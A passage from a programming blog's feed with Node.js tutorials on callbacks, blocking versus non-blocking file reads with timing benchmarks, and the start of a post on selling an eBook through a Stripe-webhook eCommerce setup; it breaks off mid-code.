<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> dir = <span class="string">&#x27;/Users/adrian/Code&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">printFilesSize</span>(<span class="params">basePath</span>) </span>&#123;</span><br><span class="line">  fs.readdir(basePath, <span class="function">(<span class="params">err, files</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (err) &#123;</span><br><span class="line">      <span class="built_in">console</span>.log(<span class="string">`Error finding files: <span class="subst">$&#123;err&#125;</span>`</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      files.forEach(<span class="function">(<span class="params">filename</span>) =&gt;</span> &#123;</span><br><span class="line">        <span class="keyword">const</span> filePath = <span class="string">`<span class="subst">$&#123;basePath&#125;</span>/<span class="subst">$&#123;filename&#125;</span>`</span>;</span><br><span class="line"></span><br><span class="line">        fs.lstat(filePath, <span class="function">(<span class="params">err, stat</span>) =&gt;</span> &#123;</span><br><span class="line">          <span class="keyword">if</span> (err) &#123; <span class="built_in">console</span>.error(err); &#125;</span><br><span class="line">          <span class="keyword">if</span> (stat.isFile()) &#123;</span><br><span class="line">            <span class="built_in">console</span>.log(filePath, stat.size.toLocaleString());</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">      &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">printFilesSize(dir);</span><br></pre></td></tr></table></figure>

<p>As you can see, this program will first read files in a directory and then check the file size of each file, and if it’s a directory, it will be omitted.</p>
<p>When callbacks are nested too many levels deep, we call this callback hell! 🔥 Or the pyramid of doom ⚠️</p>
<p><img src="/images/callback-hell.gif" alt="callback hell"></p>
<p>Because they are hard to maintain, how do we fix the callback hell? Read on!</p>
<h2 id="Callback-Hell-problem-and-solutions"><a href="#Callback-Hell-problem-and-solutions" class="headerlink" title="Callback Hell problem and solutions"></a>Callback Hell problem and solutions</h2><p>Callback hell is when you have too many nested callbacks.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">a(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">  b(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    c(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">      d();</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>To make your code better, you should:</p>
<ol>
<li>Keep you code shallow (avoid too many nested functions): keep your code at 1-3 indentation levels.</li>
<li>Modularize: convert your anonymous callbacks into named functions.</li>
<li>Use promises and async/await.</li>
</ol>
<p>Let’s fix the callback hell from <code>printFilesSize</code> keeping our code shallow and modularizing it.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> dir = <span class="string">&#x27;/Users/adrian/Code&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">printFileSize</span>(<span class="params">filePath</span>) </span>&#123;</span><br><span class="line">  fs.lstat(filePath, <span class="function">(<span class="params">err, stat</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (err) &#123; <span class="built_in">console</span>.error(err); &#125;</span><br><span class="line">    <span class="keyword">if</span> (stat.isFile()) &#123;</span><br><span class="line">      <span class="built_in">console</span>.log(filePath, stat.size.toLocaleString());</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">printFilesSize</span>(<span class="params">files, basePath</span>) </span>&#123;</span><br><span class="line">  files.forEach(<span class="function">(<span class="params">filename</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> filePath = <span class="string">`<span class="subst">$&#123;basePath&#125;</span>/<span class="subst">$&#123;filename&#125;</span>`</span>;</span><br><span class="line"></span><br><span class="line">    printFileSize(filePath);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">printFilesSizeFromDirectory</span>(<span class="params">basePath</span>) </span>&#123;</span><br><span class="line">  fs.readdir(basePath, <span class="function">(<span class="params">err, files</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (err) &#123;</span><br><span class="line">      <span class="built_in">console</span>.log(<span class="string">`Error finding files: <span class="subst">$&#123;err&#125;</span>`</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      printFilesSize(files, basePath);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">printFilesSizeFromDirectory(dir);</span><br></pre></td></tr></table></figure>

<p>The original implement had five levels of indentation, now that we modularized it is 1-2 levels.</p>
<p>Callbacks are not the only way to deal with asynchronous code. In the following post we are going to cover:</p>
<ul>
<li>Promises</li>
<li>Async/Await</li>
<li>Generators</li>
</ul>
<p>Stay tuned!</p>
<hr>

<p><strong>Related Posts:</strong></p>
<ol>
<li><a href="/asynchronous-vs-synchronous-handling-concurrency-in-javascript/">Async vs Sync in JavaScript</a></li>
<li><a href="/callbacks-concurrency-in-javascript-node/">JavaScript Callbacks</a> (this one)</li>
<li><a href="/promises-tutorial-concurrency-in-javascript-node/">JavaScript Promises</a></li>
</ol>
<hr>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;Callbacks are one of the critical elements to understand JavaScript and Node.js. Nearly, all the asynchronous functions use a callback (or promises). In this post, we are going to cover callbacks in-depth and best practices.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
    
      <category term="javascript" scheme="https://adrianmejia.com/tags/javascript/"/>
    
      <category term="nodejs" scheme="https://adrianmejia.com/tags/nodejs/"/>
    
      <category term="tutorial_async-javascript" scheme="https://adrianmejia.com/tags/tutorial-async-javascript/"/>
    
  </entry>
  
  <entry>
    <title>What every programmer should know about Synchronous vs. Asynchronous Code</title>
    <link href="https://adrianmejia.com/asynchronous-vs-synchronous-handling-concurrency-in-javascript/"/>
    <id>https://adrianmejia.com/asynchronous-vs-synchronous-handling-concurrency-in-javascript/</id>
    <published>2019-07-01T17:15:01.000Z</published>
    <updated>2019-07-01T17:15:01.000Z</updated>
    
    <content type="html"><![CDATA[<p>There are multiple ways of handling concurrency on programming languages. Some languages use various threads, while others use the asynchronous model. We are going to explore the latter in detail and provide examples to distinguish between synchronous vs. asynchronous. Btw, What do you think your CPU does most of the time?</p>
<a id="more"></a>

<p>Is it working? Nope; It’s idle!</p>
<p>Your computer’s processor waits for a network request to come out. It idles for the hard drive to spin out the requested data, and it pauses for external events (I/O).</p>
<p>Take a look at the following graph to see the average time this system event takes (in nanoseconds)</p>
<!-- ![Latency Access Time by I/O](/images/latency-access-time.png) -->
<p><img src="/images/Latency-vs-System-Event.png" alt="Latency Access Time by I/O"></p>
<p>As you can see in the chart above, one CPU can execute an instruction every one ns (approx.). However, if are in NYC and you make a request to a website in San Francisco, the CPU will “waste” 157 million cycles waiting for it to come back!</p>
<p>But not everything is lost! You can use that time to perform other tasks if you use a non-blocking (asynchronous) code in your programs! That’s exactly what you are going to learn in this post.</p>
<p><strong>⚠️ NOTE</strong>: Most programs on your operating system are non-blocking so a single CPU can perform many tasks while it waits for others to complete. Also, modern processors have multiple cores to increase the parallelism.</p>
<hr>

<p><strong>Related Posts:</strong></p>
<ol>
<li><a href="/asynchronous-vs-synchronous-handling-concurrency-in-javascript/">Async vs Sync in JavaScript</a> (this one)</li>
<li><a href="/callbacks-concurrency-in-javascript-node/">JavaScript Callbacks</a></li>
<li><a href="/promises-tutorial-concurrency-in-javascript-node/">JavaScript Promises</a></li>
</ol>
<hr>

<h2 id="Synchronous-vs-Asynchronous-in-Node-js"><a href="#Synchronous-vs-Asynchronous-in-Node-js" class="headerlink" title="Synchronous vs. Asynchronous in Node.js"></a>Synchronous vs. Asynchronous in Node.js</h2><p>Let’s see how we can develop non-blocking code that squeezes out the performance to the maximum.
Synchronous code is also called “blocking” because it halts the program until all the resources are available. However, asynchronous code is also known as “non-blocking” because the program continues executing and doesn’t wait for external resources (I/O) to be available.</p>
<blockquote>
<p>💡 In computing, input/output or <code>I/O</code> (or <code>io</code> or <code>IO</code>) is the communication between a program and the outside world (file system, databases, network requests, and so on).</p>
</blockquote>
<p>We are going to compare two different ways of reading files using a blocking I/O model and then using a non-blocking I/O model.</p>
<p>First, consider the following blocking code.</p>
<h3 id="Synchronous-code-for-reading-from-a-file-in-Node-js"><a href="#Synchronous-code-for-reading-from-a-file-in-Node-js" class="headerlink" title="Synchronous code for reading from a file in Node.js"></a>Synchronous code for reading from a file in Node.js</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;start&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> data = fs.readFileSync(<span class="string">&#x27;./file.txt&#x27;</span>, <span class="string">&#x27;utf-8&#x27;</span>); <span class="comment">// blocks here until file is read</span></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;data: &#x27;</span>, data.trim());</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;end&#x27;</span>);</span><br></pre></td></tr></table></figure>

<p><strong>What’s the output of this program?</strong></p>
<p>We are using Node’s <code>readFileSync</code>.</p>
<blockquote>
<p><code>Sync</code> = Synchronous = Blocking I/O model</p>
</blockquote>
<blockquote>
<p><code>Async</code> = Asynchronous = Non-blocking I/O model</p>
</blockquote>
<p>That means that the program is going to wait around 23M CPU cycles for your HDD to come back with the content of the <code>file.txt</code>, which is the original message <code>Hello World!</code>.</p>
<p>The output would be:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">start</span><br><span class="line">data:  Hello World! 👋 🌍</span><br><span class="line">end</span><br></pre></td></tr></table></figure>

<p><strong>How can make this code non-blocking?</strong></p>
<p>I’m glad you asked. Luckily most Node.js functions are non-blocking (asynchronous) by default.</p>
<p>Actually, Ryan Dahl created Node because he was not happy with the limitations of the Apache HTTP server. Apache creates a thread for each connection which consumes more resources. On the other hand, Node.js combines JavaScript engine, an event loop, and an I/O layer to handle multiple requests efficiently.</p>
<p><img src="/images/blocking-vs-non-blocking-api.png" alt="blocking vs. non-blocking API"></p>
<p>As you can see, asynchronous functions can handle more operations while it waits for IO resources to be ready.</p>
<p>Let’s see an example of reading from a file using the asynchronous code.</p>
<h3 id="Asynchronous-code-for-reading-from-a-file-in-Node-js"><a href="#Asynchronous-code-for-reading-from-a-file-in-Node-js" class="headerlink" title="Asynchronous code for reading from a file in Node.js"></a>Asynchronous code for reading from a file in Node.js</h3><p>We can read from the file without blocking the rest of the code like this:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;start&#x27;</span>);</span><br><span class="line"></span><br><span class="line">fs.readFile(<span class="string">&#x27;./file.txt&#x27;</span>, <span class="string">&#x27;utf-8&#x27;</span>, <span class="function">(<span class="params">err, data</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">if</span> (err) <span class="keyword">throw</span> err;</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">&#x27;file.txt data: &#x27;</span>, data.trim());</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;end&#x27;</span>);</span><br></pre></td></tr></table></figure>

<p>What’s the output of this program?</p>
<details>
  <summary>See the answer</summary>

<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">start</span><br><span class="line">end</span><br><span class="line">file.txt data:  Hello World! 👋 🌍</span><br></pre></td></tr></table></figure>

</details>

<!-- - Answer

        start
        end
        file.txt data:  Hello World! 👋 🌍 -->

<p>Many people get surprised by the fact that <code>start</code> and <code>end</code> comes before the <code>data</code> output. 👀</p>
<p>The <code>end</code> comes before the file output because the program doesn’t halt and continue executing whatever is next.</p>
<p>That’s cool, but does it make a lot of difference? It does, let’s bigger files and time it!</p>
<h3 id="Blocking-vs-Non-Blocking-I-O-model-Benchmark"><a href="#Blocking-vs-Non-Blocking-I-O-model-Benchmark" class="headerlink" title="Blocking vs. Non-Blocking I/O model Benchmark"></a>Blocking vs. Non-Blocking I/O model Benchmark</h3><p>For this benchmark, let’s read a big file. I just went to my downloads and took the heaviest. (You can try this experiment at home and comment your results)</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.time(<span class="string">&#x27;readFileSync&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> x = <span class="number">0</span>; x &lt; <span class="number">10</span>; x++) &#123;</span><br><span class="line">  <span class="keyword">const</span> largeFile = fs.readFileSync(<span class="string">&#x27;/users/admejiar/Downloads/Docker.dmg&#x27;</span>);</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">`File size#<span class="subst">$&#123;x&#125;</span>: <span class="subst">$&#123;<span class="built_in">Math</span>.round(largeFile.length / <span class="number">1e6</span>)&#125;</span> MB`</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> data = fs.readFileSync(<span class="string">&#x27;./file.txt&#x27;</span>, <span class="string">&#x27;utf-8&#x27;</span>); <span class="comment">// blocks here until file is read</span></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;file.txt data: &#x27;</span>, data.trim());</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.timeEnd(<span class="string">&#x27;readFileSync&#x27;</span>);</span><br></pre></td></tr></table></figure>

<p>Notice that we are using <code>console.time</code> which is very nice for benchmarking since it calculates how many milliseconds it took. The output is the following:</p>
<pre><code>File size#0: 523 MB
File size#1: 523 MB
File size#2: 523 MB
File size#3: 523 MB
File size#4: 523 MB
File size#5: 523 MB
File size#6: 523 MB
File size#7: 523 MB
File size#8: 523 MB
File size#9: 523 MB
file.txt data:  Hello World! 👋 🌍
readFileSync: 2572.060ms</code></pre>
<p>It took 2.5 seconds to read all ten files and the <code>file.txt</code>.</p>
<p>Let’s try now the same with non-blocking:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.time(<span class="string">&#x27;readFile&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> x = <span class="number">0</span>; x &lt; <span class="number">10</span>; x++) &#123;</span><br><span class="line">  fs.readFile(<span class="string">&#x27;/users/admejiar/Downloads/Docker.dmg&#x27;</span>, <span class="function">(<span class="params">err, data</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (err) <span class="keyword">throw</span> err;</span><br><span class="line">    <span class="built_in">console</span>.log(<span class="string">`File size#<span class="subst">$&#123;x&#125;</span>: <span class="subst">$&#123;<span class="built_in">Math</span>.round(data.length / <span class="number">1e6</span>)&#125;</span> MB`</span>);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">fs.readFile(<span class="string">&#x27;./file.txt&#x27;</span>, <span class="string">&#x27;utf-8&#x27;</span>, <span class="function">(<span class="params">err, data</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">if</span> (err) <span class="keyword">throw</span> err;</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">&#x27;file.txt data: &#x27;</span>, data.trim());</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.timeEnd(<span class="string">&#x27;readFile&#x27;</span>);</span><br></pre></td></tr></table></figure>

<p>And here is the output:</p>
<pre><code>readFile: 0.731ms
file.txt data:  Hello World! 👋 🌍
File size#7: 523 MB
File size#9: 523 MB
File size#4: 523 MB
File size#2: 523 MB
File size#6: 523 MB
File size#5: 523 MB
File size#1: 523 MB
File size#8: 523 MB
File size#0: 523 MB
File size#3: 523 MB</code></pre>
<p>Wow! Totally random! 🤯</p>
<p>It got to the <code>console.timeEnd</code> in less than a millisecond! The small <code>file.txt</code> came later, and then the large files all in a different order. As you can see non-blocking waits for nobody. Whoever is ready will come out first. Even though it is not deterministic, it has many advantages.</p>
<p>Benchmarking asynchronous code is not as straight forward since we have to wait for all the operations to finish (which <code>console.timeEnd</code> is not doing). We are going to provide a better benchmark when we cover <code>Promise</code>s.</p>
<p>Take a look at this picture:</p>
<p><img src="/images/synchronous-asynchronous-javascript.png" alt="synchronous vs. asynchronous javascript"></p>
<p>That async programs will take as long the most time-consuming task. It executes tasks in parallel while the blocking model does it in sequence.</p>
<h2 id="Advantages-of-non-blocking-code"><a href="#Advantages-of-non-blocking-code" class="headerlink" title="Advantages of non-blocking code"></a>Advantages of non-blocking code</h2><p>Non-blocking code is much more performant. Blocking code waste around 90% of CPU cycles waiting for the network or disk to get the data. Using non-blocking code is a more straightforward way to have concurrency without having to deal with multiple execution threads.</p>
<p>For instance, let’s say you have an API server. In the image below, you can see how much more requests you can handle using non-blocking vs. using the blocking code.</p>
<p><img src="/images/blocking-vs-non-blocking-api.png" alt="blocking vs. non-blocking API"></p>
<p>As you saw earlier, the blocking API server, attend one request at a time. It serves the request #1, and it idles for the database and then is free to serve the other requests. However, the non-blocking API can take multiple requests while it waits for the database to come back.</p>
<p>Now that you are (hopefully) convinced why writing non-blocking code is necessary, let’s see different ways we can manage it. So far, we used callbacks, but there are other ways to handle it.</p>
<p>In JavaScript, we can handle asynchronous code using:</p>
<ul>
<li><a href="/callbacks-concurrency-in-javascript-node">Callbacks</a></li>
<li><a href="/promises-tutorial-concurrency-in-javascript-node">Promises</a></li>
<li>Async/Await functions</li>
<li>Generators</li>
</ul>
<p>I’m going to cover each one in a separate post. Stay tuned!</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;There are multiple ways of handling concurrency on programming languages. Some languages use various threads, while others use the asynchronous model. We are going to explore the latter in detail and provide examples to distinguish between synchronous vs. asynchronous. Btw, What do you think your CPU does most of the time?&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
    
      <category term="javascript" scheme="https://adrianmejia.com/tags/javascript/"/>
    
      <category term="nodejs" scheme="https://adrianmejia.com/tags/nodejs/"/>
    
      <category term="tutorial_async-javascript" scheme="https://adrianmejia.com/tags/tutorial-async-javascript/"/>
    
  </entry>
  
  <entry>
    <title>How to build a Node.js eCommerce website for free</title>
    <link href="https://adrianmejia.com/How-to-build-a-Node-js-eCommerce-website-for-free/"/>
    <id>https://adrianmejia.com/How-to-build-a-Node-js-eCommerce-website-for-free/</id>
    <published>2019-05-13T18:43:24.000Z</published>
    <updated>2019-05-14T20:22:24.000Z</updated>
    
    <content type="html"><![CDATA[<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Running an online store that sells digital goods is easier than ever. Thanks to generous free plans for developers, you don’t have to spend a dime to run your e-commerce site for a decent amount of users. In this post, I’ll go over how I put together <a href="https://books.adrianmejia.com/">books.adrianmejia.com</a> to sell my eBook.</p>
<a id="more"></a>

<p>A 10,000-feet view description would be something like this:</p>
<!-- https://twitter.com/iAmAdrianMejia/status/1127918275705413632 -->
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Finished creating my own system to sell ebooks! <a href="https://t.co/9w0DHBU8T8">https://t.co/9w0DHBU8T8</a> It was harder than I thought but it was fun. When payments are completed, a webhook is sent to my server, which grabs the ebook PDF from S3. A <a href="https://twitter.com/hashtag/Node?src=hash&amp;ref_src=twsrc%5Etfw">#Node</a> process stamp the document and uses API to send it by email</p>&mdash; Adrian.js (@iAmAdrianMejia) <a href="https://twitter.com/iAmAdrianMejia/status/1127918275705413632?ref_src=twsrc%5Etfw">May 13, 2019</a></blockquote>

<p><strong>TL; DR:</strong> The e-Commerce site final stack is the following:</p>
<ul>
<li>Node.js (Backend processing: payment webhooks)</li>
<li>Stripe (Payment gateway)</li>
<li>Heroku (Run server code)</li>
<li>Netlify (Host static files)</li>
<li>Amazon S3 (Host assets)</li>
<li>CircleCI (Test code and generate assets)</li>
<li>Mailgun (emails platform)</li>
</ul>
<p>This diagram shows how each part interacts with each other:
<img src="/images/e-commerce-app-nodejs3.png" alt="nodejs e-commerce app"></p>
<h2 id="Automating-the-generation-of-the-assets-PDF"><a href="#Automating-the-generation-of-the-assets-PDF" class="headerlink" title="Automating the generation of the assets (PDF)"></a>Automating the generation of the assets (PDF)</h2><p>I have Github repository where the book docs and code live:</p>
<p><a href="https://github.com/amejiarosario/dsa.js">https://github.com/amejiarosario/dsa.js</a></p>
<p>Every time I made a change (or somebody in the community), it triggers some process on CI that run all tests and generate a new updated document and store it AWS S3.</p>
<p>Generating assets automatically is useful because I want every buyer to get the latest copy.</p>
<h2 id="Hosting-e-Commerce-site"><a href="#Hosting-e-Commerce-site" class="headerlink" title="Hosting e-Commerce site"></a>Hosting e-Commerce site</h2><p>I always want to try out new JavaScript/CSS frameworks. However, I resisted the temptation and asked my self: Does a page for selling a book need to be dynamic? Nope. So, it will be more performant if I use plain old CSS and HTML. That’s what I did.
Static pages also have the advantage that can be cached and served from a CDN.</p>
<p>I used Netlify to host the static website for free. One single <code>git push</code>  will update the site on the domain name of choice (e.g. <a href="https://books.adrianmejia.com/">books.adrianmejia.com</a>). It also uses a global CDN so your page loads faster from anywhere in the world!</p>
<h2 id="Processing-Payments"><a href="#Processing-Payments" class="headerlink" title="Processing Payments"></a>Processing Payments</h2><p>The next part is to add a <code>Buy</code> button. Stripe provides a helpful checkout page that they host themselves and take care of the PCI compliance when dealing with credit cards. So, I used that, and they process the payment for me.</p>
<p>But how do I know if the customer bought my book or got distracted? For that, I need a server that listens for a payment webhook. In the Stripe configuration page, you tell them to send a POST request (webhook) with the customer information when a particular event.</p>
<p>Here is the code for a simple webhook server</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> express = <span class="built_in">require</span>(<span class="string">&#x27;express&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> bodyParser = <span class="built_in">require</span>(<span class="string">&#x27;body-parser&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> app = express();</span><br><span class="line"><span class="keyword">const</span> port = process.env.PORT || <span class="number">5000</span>;</span><br><span class="line"></span><br><span class="line">app.use(bodyParser.json());</span><br><span class="line"></span><br><span class="line">app.listen(port, <span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">`Listening for webhooks: http://localhost:<span class="subst">$&#123;port&#125;</span>`</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.post(<span class="string">&#x27;/webhook&#x27;</span>, <span class="keyword">async</span> (req, res) =&gt; &#123;</span><br><span class="line">  <span class="keyword">const</span> event = req.body;</span><br><span class="line"></span><br><span class="line">  res.sendStatus(<span class="number">200</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (event.type === <span class="string">&#x27;payment_intent.succeeded&#x27;</span>) &#123;</span><br><span class="line">    <span class="comment">// <span class="doctag">TODO:</span> send event to RabbitMQ instead of generating the PDF here.</span></span><br><span class="line">    <span class="comment">// It&#x27;s not good practice to block a request handler with long processes</span></span><br><span class="line">    <span class="keyword">const</span> &#123; sendPdfToBuyer &#125; = <span class="built_in">require</span>(<span class="string">&#x27;./process-pdf&#x27;</span>);</span><br><span class="line">    sendPdfToBuyer(event);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// all other routes, prevent node crashing for undefined routes</span></span><br><span class="line">app.route(<span class="string">&#x27;*&#x27;</span>, <span class="keyword">async</span> (req, res) =&gt; &#123;</span><br><span class="line">  res.json(&#123; <span class="attr">ok</span>: <span class="number">1</span> &#125;);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>And that brings us to the next part, the Node.js server to take care of the rest.</p>
<h2 id="Backend-processing"><a href="#Backend-processing" class="headerlink" title="Backend processing"></a>Backend processing</h2><p>I created a Node.js server that listened for webhook requests.  When a customer paid for the book an event with the details is sent to this server, and the document pipeline is kicked off.</p>
<p>The server first downloads the book from AWS S3 bucket, where the latest raw document is. Later, the server uses a library that allows to manipulate the PDF and add the buyer’s stamp on the eBook. Finally, the material is attached to and send through email.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">sendPdfToBuyer</span>(<span class="params">webhookEvent</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> email = webhookEvent.data.object.charges.data.map(<span class="function"><span class="params">d</span> =&gt;</span> d.billing_details.email).join(<span class="string">&#x27;, &#x27;</span>);</span><br><span class="line">  <span class="keyword">const</span> pdfUrl = <span class="keyword">await</span> getLatestPdfUrl();</span><br><span class="line">  <span class="keyword">const</span> fileName = pdfUrl.split(<span class="string">&#x27;/&#x27;</span>).pop();</span><br><span class="line">  <span class="keyword">const</span> pdfBuffer = <span class="keyword">await</span> 